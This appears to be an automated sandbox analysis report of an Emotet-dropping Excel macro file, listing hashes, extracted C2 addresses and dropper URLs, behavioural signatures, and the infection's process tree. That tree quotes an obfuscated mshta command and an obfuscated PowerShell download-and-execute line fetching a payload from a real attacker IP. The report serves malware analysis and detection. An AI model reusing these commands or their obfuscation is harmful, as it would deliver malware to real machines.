Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 07:00

General

  • Target

    1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm

  • Size

    115KB

  • MD5

    88646a07a6dfa5ad4701c778b50707a4

  • SHA1

    c406856081490e6b55bfebf099d9541bc400ac77

  • SHA256

    1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90

  • SHA512

    85c65de8396b5c8ae7e7bfd9f088bb001fef5f339c32c139fd86cc7ac5c822b80cabc2f7eff102c94b1ab9bfbab69afe013836f4c5b305a26852075c4393e85c

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:768
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1820
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1676
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1168
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1064
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1636
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Onpzqxdruowk\zouhmzyxtm.bqo",sPUoDqU
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1664
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Onpzqxdruowk\zouhmzyxtm.bqo",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2020

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/768-58-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

      Filesize

      8KB

    • memory/1064-71-0x0000000000310000-0x0000000000338000-memory.dmp

      Filesize

      160KB

    • memory/1624-57-0x0000000075761000-0x0000000075763000-memory.dmp

      Filesize

      8KB

    • memory/1624-54-0x000000002F271000-0x000000002F274000-memory.dmp

      Filesize

      12KB

    • memory/1624-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1624-55-0x0000000071311000-0x0000000071313000-memory.dmp

      Filesize

      8KB

    • memory/1636-78-0x0000000000170000-0x0000000000198000-memory.dmp

      Filesize

      160KB

    • memory/1636-88-0x0000000002460000-0x0000000002488000-memory.dmp

      Filesize

      160KB

    • memory/1636-91-0x0000000002960000-0x0000000002988000-memory.dmp

      Filesize

      160KB

    • memory/1636-80-0x0000000000580000-0x00000000005A8000-memory.dmp

      Filesize

      160KB

    • memory/1636-82-0x0000000000BA0000-0x0000000000BC8000-memory.dmp

      Filesize

      160KB

    • memory/1636-84-0x00000000021D0000-0x00000000021F8000-memory.dmp

      Filesize

      160KB

    • memory/1636-86-0x00000000022F0000-0x0000000002318000-memory.dmp

      Filesize

      160KB

    • memory/1664-93-0x0000000000770000-0x0000000000798000-memory.dmp

      Filesize

      160KB

    • memory/1676-63-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/1676-64-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/2020-98-0x0000000000A20000-0x0000000000A48000-memory.dmp

      Filesize

      160KB

    • memory/2020-102-0x0000000002230000-0x0000000002258000-memory.dmp

      Filesize

      160KB

    • memory/2020-104-0x0000000002370000-0x0000000002398000-memory.dmp

      Filesize

      160KB

    • memory/2020-106-0x00000000026F0000-0x0000000002718000-memory.dmp

      Filesize

      160KB

    • memory/2020-108-0x0000000002750000-0x0000000002778000-memory.dmp

      Filesize

      160KB

    • memory/2020-110-0x0000000002800000-0x0000000002828000-memory.dmp

      Filesize

      160KB

    • memory/2020-112-0x0000000002A30000-0x0000000002A58000-memory.dmp

      Filesize

      160KB

    • memory/2020-114-0x0000000002AD0000-0x0000000002AF8000-memory.dmp

      Filesize

      160KB